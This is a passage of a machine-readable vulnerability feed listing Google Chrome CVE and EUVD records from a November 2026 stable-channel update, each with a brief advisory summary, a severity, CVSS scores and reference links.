Medium)","published_time":"2026-11-03T20:42:47","cvss":0.0,"cvss_version":null,"epss":0.0,"assigner":"Chrome","references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/564190098"],"products":["Chrome"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-121133","summary":"Incorrect reference resolution in Images in Google Chrome on on Mac prior to 157.0.8103.38 allowed a remote attacker who had compromised the renderer process to execute arbitrary code outside the sandbox via crafted network traffic. (Chromium security severity: High)","cvss":null,"cvss_version":null,"cvss_v2":null,"cvss_v3":null,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/574604188"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T21:17:21","euvd":{"id":"EUVD-2026-116415","description":"Incorrect reference resolution in Images in Google Chrome on on Mac prior to 157.0.8103.38 allowed a remote attacker who had compromised the renderer process to execute arbitrary code outside the sandbox via crafted network traffic. (Chromium security severity: High)","published_time":"2026-11-03T20:42:33","cvss":0.0,"cvss_version":null,"epss":0.0,"assigner":"Chrome","references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/574604188"],"products":["Chrome"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-121134","summary":"Information loss in BackgroundFetch in Google Chrome prior to 157.0.8103.38 allowed a remote attacker to bypass web origin policy via a crafted HTML page. (Chromium security severity: Low)","cvss":null,"cvss_version":null,"cvss_v2":null,"cvss_v3":null,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/498000798"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T21:17:21","euvd":{"id":"EUVD-2026-116317","description":"Information loss in BackgroundFetch in Google Chrome prior to 157.0.8103.38 allowed a remote attacker to bypass web origin policy via a crafted HTML page. (Chromium security severity: Low)","published_time":"2026-11-03T20:42:53","cvss":0.0,"cvss_version":null,"epss":0.0,"assigner":"Chrome","references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/498000798"],"products":["Chrome"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-121121","summary":"UI misrepresentation in PageInfo in Google Chrome prior to 157.0.8103.38 allowed a remote attacker to spoof UI elements via a crafted HTML page. (Chromium security severity: Low)","cvss":null,"cvss_version":null,"cvss_v2":null,"cvss_v3":null,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/556215096"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T21:17:20","euvd":{"id":"EUVD-2026-116341","description":"UI misrepresentation in PageInfo in Google Chrome prior to 157.0.8103.38 allowed a remote attacker to spoof UI elements via a crafted HTML page. (Chromium security severity: Low)","published_time":"2026-11-03T20:42:58","cvss":0.0,"cvss_version":null,"epss":0.0,"assigner":"Chrome","references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/556215096"],"products":["Chrome"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-121122","summary":"UI misrepresentation in Prompts in Google Chrome prior to 157.0.8103.38 allowed a remote attacker leveraging social engineering to spoof UI elements via a crafted HTML page. (Chromium security severity: Medium)","cvss":null,"cvss_version":null,"cvss_v2":null,"cvss_v3":null,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/536163128"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T21:17:20","euvd":{"id":"EUVD-2026-116464","description":"UI misrepresentation in Prompts in Google Chrome prior to 157.0.8103.38 allowed a remote attacker leveraging social engineering to spoof UI elements via a crafted HTML page. (Chromium security severity: Medium)","published_time":"2026-11-03T20:42:43","cvss":0.0,"cvss_version":null,"epss":0.0,"assigner":"Chrome","references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/536163128"],"products":["Chrome"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-121123","summary":"Use after free in Canvas in Google Chrome prior to 157.0.8103.38 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)","cvss":8.8,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":8.8,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/576097084"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T21:17:20","euvd":{"id":"EUVD-2026-116421","description":"Use after free in Canvas in Google Chrome prior to 157.0.8103.38 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)","published_time":"2026-11-03T20:42:34","cvss":8.8,"cvss_version":"3.1","epss":0.0,"assigner":"Chrome","references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/576097084"],"products":["Chrome"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-121124","summary":"Improper adherence to coding standards in XML in Google Chrome prior to 157.0.8103.38 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)","cvss":8.8,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":8.8,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/566313798"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T21:17:20","euvd":{"id":"EUVD-2026-116520","description":"Improper adherence to coding standards in XML in Google Chrome prior to 157.0.8103.38 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)","published_time":"2026-11-03T20:42:26","cvss":8.8,"cvss_version":"3.1","epss":0.0,"assigner":"Chrome","references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/566313798"],"products":["Chrome"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-121125","summary":"Information leak in ServiceWorker in Google Chrome prior to 157.0.8103.38 allowed a remote attacker who had compromised the renderer process to obtain sensitive information via a crafted HTML page. (Chromium security severity: Low)","cvss":null,"cvss_version":null,"cvss_v2":null,"cvss_v3":null,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/517434186"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T21:17:20","euvd":{"id":"EUVD-2026-116323","description":"Information leak in ServiceWorker in Google Chrome prior to 157.0.8103.38 allowed a remote attacker who had compromised the renderer process to obtain sensitive information via a crafted HTML page. (Chromium security severity: Low)","published_time":"2026-11-03T20:42:54","cvss":0.0,"cvss_version":null,"epss":0.0,"assigner":"Chrome","references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/517434186"],"products":["Chrome"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-121126","summary":"Use after free in Core in Google Chrome prior to 157.0.8103.38 allowed a remote attacker to potentially execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: Critical)","cvss":9.6,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":9.6,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/571284308"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T21:17:20","euvd":{"id":"EUVD-2026-116504","description":"Use after free in Core in Google Chrome prior to 157.0.8103.38 allowed a remote attacker to potentially execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: Critical)","published_time":"2026-11-03T20:42:22","cvss":9.6,"cvss_version":"3.1","epss":0.0,"assigner":"Chrome","references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/571284308"],"products":["Chrome"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-121127","summary":"Use after free in WebAudio in Google Chrome prior to 157.0.8103.38 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)","cvss":8.8,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":8.8,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/573836121"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T21:17:20","euvd":{"id":"EUVD-2026-116405","description":"Use after free in WebAudio in Google Chrome prior to 157.0.8103.38 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)","published_time":"2026-11-03T20:42:31","cvss":8.8,"cvss_version":"3.1","epss":0.0,"assigner":"Chrome","references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/573836121"],"products":["Chrome"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-121114","summary":"Use after free in TabStrip in Google Chrome prior to 157.0.8103.38 allowed a remote attacker to execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: High)","cvss":9.6,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":9.6,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/573387527"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T21:17:19","euvd":{"id":"EUVD-2026-116404","description":"Use after free in TabStrip in Google Chrome prior to 157.0.8103.38 allowed a remote attacker to execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: High)","published_time":"2026-11-03T20:42:31","cvss":9.6,"cvss_version":"3.1","epss":0.0,"assigner":"Chrome","references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/573387527"],"products":["Chrome"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-121115","summary":"Improper input validation in Shopping in Google Chrome prior to 157.0.8103.38 allowed a remote attacker to bypass system access restrictions into a privileged page via crafted network traffic. (Chromium security severity: Medium)","cvss":null,"cvss_version":null,"cvss_v2":null,"cvss_v3":null,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/513426189"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T21:17:19","euvd":{"id":"EUVD-2026-116456","description":"Improper input validation in Shopping in Google Chrome prior to 157.0.8103.38 allowed a remote attacker to bypass system access restrictions into a privileged page via crafted network traffic. (Chromium security severity: Medium)","published_time":"2026-11-03T20:42:41","cvss":0.0,"cvss_version":null,"epss":0.0,"assigner":"Chrome","references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/513426189"],"products":["Chrome"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-121116","summary":"Missing authorization in WebView in Google Chrome on on Android prior to 157.0.8103.38 allowed a remote attacker who had compromised the renderer process to obtain sensitive information via a crafted HTML page. (Chromium security severity: Medium)","cvss":null,"cvss_version":null,"cvss_v2":null,"cvss_v3":null,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/562656015"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T21:17:19","euvd":{"id":"EUVD-2026-116484","description":"Missing authorization in WebView in Google Chrome on on Android prior to 157.0.8103.38 allowed a remote attacker who had compromised the renderer process to obtain sensitive information via a crafted HTML page. (Chromium security severity: Medium)","published_time":"2026-11-03T20:42:47","cvss":0.0,"cvss_version":null,"epss":0.0,"assigner":"Chrome","references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/562656015"],"products":["Chrome"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-121117","summary":"Use after free in Paint in Google Chrome prior to 157.0.8103.38 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)","cvss":8.8,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":8.8,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/575318807"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T21:17:19","euvd":{"id":"EUVD-2026-116420","description":"Use after free in Paint in Google Chrome prior to 157.0.8103.38 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)","published_time":"2026-11-03T20:42:34","cvss":8.8,"cvss_version":"3.1","epss":0.0,"assigner":"Chrome","references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/575318807"],"products":["Chrome"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-121118","summary":"Use after free in SVG in Google Chrome prior to 157.0.8103.38 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)","cvss":8.8,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":8.8,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/566377255"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T21:17:19","euvd":{"id":"EUVD-2026-116521","description":"Use after free in SVG in Google Chrome prior to 157.0.8103.38 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)","published_time":"2026-11-03T20:42:26","cvss":8.8,"cvss_version":"3.1","epss":0.0,"assigner":"Chrome","references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/566377255"],"products":["Chrome"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-121119","summary":"Use after free in Controls in Google Chrome prior to 157.0.8103.38 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)","cvss":8.8,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":8.8,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/578691880"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T21:17:19","euvd":{"id":"EUVD-2026-116439","description":"Use after free in Controls in Google Chrome prior to 157.0.8103.38 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)","published_time":"2026-11-03T20:42:37","cvss":8.8,"cvss_version":"3.1","epss":0.0,"assigner":"Chrome","references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/578691880"],"products":["Chrome"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-121120","summary":"Improper input validation in Prerender in Google Chrome prior to 157.0.8103.38 allowed a remote attacker who had compromised the renderer process to bypass web origin policy via a crafted HTML page. (Chromium security severity: Medium)","cvss":null,"cvss_version":null,"cvss_v2":null,"cvss_v3":null,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/492163889"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T21:17:19","euvd":{"id":"EUVD-2026-116445","description":"Improper input validation in Prerender in Google Chrome prior to 157.0.8103.38 allowed a remote attacker who had compromised the renderer process to bypass web origin policy via a crafted HTML page. (Chromium security severity: Medium)","published_time":"2026-11-03T20:42:39","cvss":0.0,"cvss_version":null,"epss":0.0,"assigner":"Chrome","references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/492163889"],"products":["Chrome"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-121111","summary":"Incorrect authorization in HID in Google Chrome prior to 157.0.8103.38 allowed a remote attacker to bypass system access restrictions via a crafted HTML page. (Chromium security severity: Low)","cvss":null,"cvss_version":null,"cvss_v2":null,"cvss_v3":null,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/553249498"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T21:17:18","euvd":{"id":"EUVD-2026-116331","description":"Incorrect authorization in HID in Google Chrome prior to 157.0.8103.38 allowed a remote attacker to bypass system access restrictions via a crafted HTML page. (Chromium security severity: Low)","published_time":"2026-11-03T20:42:56","cvss":0.0,"cvss_version":null,"epss":0.0,"assigner":"Chrome","references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/553249498"],"products":["Chrome"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-121112","summary":"Out of bounds read in Permissions in Google Chrome prior to 157.0.8103.38 allowed a remote attacker who had compromised the renderer process to potentially execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: High)","cvss":8.3,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":8.3,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/40063728"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T21:17:18","euvd":{"id":"EUVD-2026-116507","description":"Out of bounds read in Permissions in Google Chrome prior to 157.0.8103.38 allowed a remote attacker who had compromised the renderer process to potentially execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: High)","published_time":"2026-11-03T20:42:23","cvss":8.3,"cvss_version":"3.1","epss":0.0,"assigner":"Chrome","references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/40063728"],"products":["Chrome"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-121113","summary":"Buffer overflow in PDFium in Google Chrome prior to 157.0.8103.38 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted PDF file. (Chromium security severity: High)","cvss":null,"cvss_version":null,"cvss_v2":null,"cvss_v3":null,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/567106301"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T21:17:18","euvd":{"id":"EUVD-2026-116523","description":"Buffer overflow in PDFium in Google Chrome prior to 157.0.8103.38 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted PDF file. (Chromium security severity: High)","published_time":"2026-11-03T20:42:26","cvss":0.0,"cvss_version":null,"epss":0.0,"assigner":"Chrome","references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/567106301"],"products":["Chrome"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-121107","summary":"Incorrect authorization in BackgroundFetch in Google Chrome prior to 157.0.8103.38 allowed a remote attacker to bypass web origin policy via a crafted HTML page. (Chromium security severity: High)","cvss":null,"cvss_version":null,"cvss_v2":null,"cvss_v3":null,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/485855931"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T21:17:17","euvd":{"id":"EUVD-2026-116505","description":"Incorrect authorization in BackgroundFetch in Google Chrome prior to 157.0.8103.38 allowed a remote attacker to bypass web origin policy via a crafted HTML page. (Chromium security severity: High)","published_time":"2026-11-03T20:42:22","cvss":0.0,"cvss_version":null,"epss":0.0,"assigner":"Chrome","references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/485855931"],"products":["Chrome"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-121108","summary":"Confused deputy in BackgroundFetch in Google Chrome prior to 157.0.8103.38 allowed a remote attacker to potentially bypass web origin policy via a crafted HTML page. (Chromium security severity: Medium)","cvss":null,"cvss_version":null,"cvss_v2":null,"cvss_v3":null,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/500171457"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T21:17:17","euvd":{"id":"EUVD-2026-116450","description":"Confused deputy in BackgroundFetch in Google Chrome prior to 157.0.8103.38 allowed a remote attacker to potentially bypass web origin policy via a crafted HTML page. (Chromium security severity: Medium)","published_time":"2026-11-03T20:42:40","cvss":0.0,"cvss_version":null,"epss":0.0,"assigner":"Chrome","references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/500171457"],"products":["Chrome"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-121109","summary":"Inadequate encryption strength in SSL in Google Chrome prior to 157.0.8103.38 allowed a remote attacker to potentially bypass web origin policy via crafted network traffic. (Chromium security severity: Low)","cvss":null,"cvss_version":null,"cvss_v2":null,"cvss_v3":null,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/504234693"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T21:17:17","euvd":{"id":"EUVD-2026-116319","description":"Inadequate encryption strength in SSL in Google Chrome prior to 157.0.8103.38 allowed a remote attacker to potentially bypass web origin policy via crafted network traffic. (Chromium security severity: Low)","published_time":"2026-11-03T20:42:53","cvss":0.0,"cvss_version":null,"epss":0.0,"assigner":"Chrome","references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/504234693"],"products":["Chrome"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-121110","summary":"UI misrepresentation in Shopping in Google Chrome on on Android prior to 157.0.8103.38 allowed a remote attacker to spoof UI elements via a crafted HTML page. (Chromium security severity: Medium)","cvss":null,"cvss_version":null,"cvss_v2":null,"cvss_v3":null,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/569006789"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T21:17:17","euvd":{"id":"EUVD-2026-116307","description":"UI misrepresentation in Shopping in Google Chrome on on Android prior to 157.0.8103.38 allowed a remote attacker to spoof UI elements via a crafted HTML page. (Chromium security severity: Medium)","published_time":"2026-11-03T20:42:51","cvss":0.0,"cvss_version":null,"epss":0.0,"assigner":"Chrome","references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/569006789"],"products":["Chrome"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-121100","summary":"Use after free in DOM in Google Chrome prior to 157.0.8103.38 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)","cvss":8.8,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":8.8,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/570796613"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T21:17:16","euvd":{"id":"EUVD-2026-116399","description":"Use after free in DOM in Google Chrome prior to 157.0.8103.38 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)","published_time":"2026-11-03T20:42:30","cvss":8.8,"cvss_version":"3.1","epss":0.0,"assigner":"Chrome","references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/570796613"],"products":["Chrome"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-121101","summary":"Missing authorization in DevTools in Google Chrome prior to 157.0.8103.38 allowed a remote attacker leveraging social engineering to bypass system access restrictions into a privileged page via a crafted Chrome extension. (Chromium security severity: Low)","cvss":null,"cvss_version":null,"cvss_v2":null,"cvss_v3":null,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/553259600"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T21:17:16","euvd":{"id":"EUVD-2026-116334","description":"Missing authorization in DevTools in Google Chrome prior to 157.0.8103.38 allowed a remote attacker leveraging social engineering to bypass system access restrictions into a privileged page via a crafted Chrome extension. (Chromium security severity: Low)","published_time":"2026-11-03T20:42:56","cvss":0.0,"cvss_version":null,"epss":0.0,"assigner":"Chrome","references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/553259600"],"products":["Chrome"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-121102","summary":"Missing authorization in BackgroundFetch in Google Chrome prior to 157.0.8103.38 allowed a remote attacker to bypass web origin policy via a crafted HTML page. (Chromium security severity: Medium)","cvss":null,"cvss_version":null,"cvss_v2":null,"cvss_v3":null,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/40059500"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T21:17:16","euvd":{"id":"EUVD-2026-116444","description":"Missing authorization in BackgroundFetch in Google Chrome prior to 157.0.8103.38 allowed a remote attacker to bypass web origin policy via a crafted HTML page. (Chromium security severity: Medium)","published_time":"2026-11-03T20:42:39","cvss":0.0,"cvss_version":null,"epss":0.0,"assigner":"Chrome","references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/40059500"],"products":["Chrome"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-121103","summary":"Incorrect authorization in Extensions in Google Chrome prior to 157.0.8103.38 allowed a remote attacker to obtain cross-origin data via a crafted Chrome extension. (Chromium security severity: Medium)","cvss":null,"cvss_version":null,"cvss_v2":null,"cvss_v3":null,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/553138801"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T21:17:16","euvd":{"id":"EUVD-2026-116470","description":"Incorrect authorization in Extensions in Google Chrome prior to 157.0.8103.38 allowed a remote attacker to obtain cross-origin data via a crafted Chrome extension. (Chromium security severity: Medium)","published_time":"2026-11-03T20:42:44","cvss":0.0,"cvss_version":null,"epss":0.0,"assigner":"Chrome","references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/553138801"],"products":["Chrome"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-121104","summary":"Incorrect authorization in FileSystem in Google Chrome prior to 157.0.8103.38 allowed a remote attacker leveraging social engineering to potentially execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: High)","cvss":9.6,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":9.6,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/577400245"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T21:17:16","euvd":{"id":"EUVD-2026-116430","description":"Incorrect authorization in FileSystem in Google Chrome prior to 157.0.8103.38 allowed a remote attacker leveraging social engineering to potentially execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: 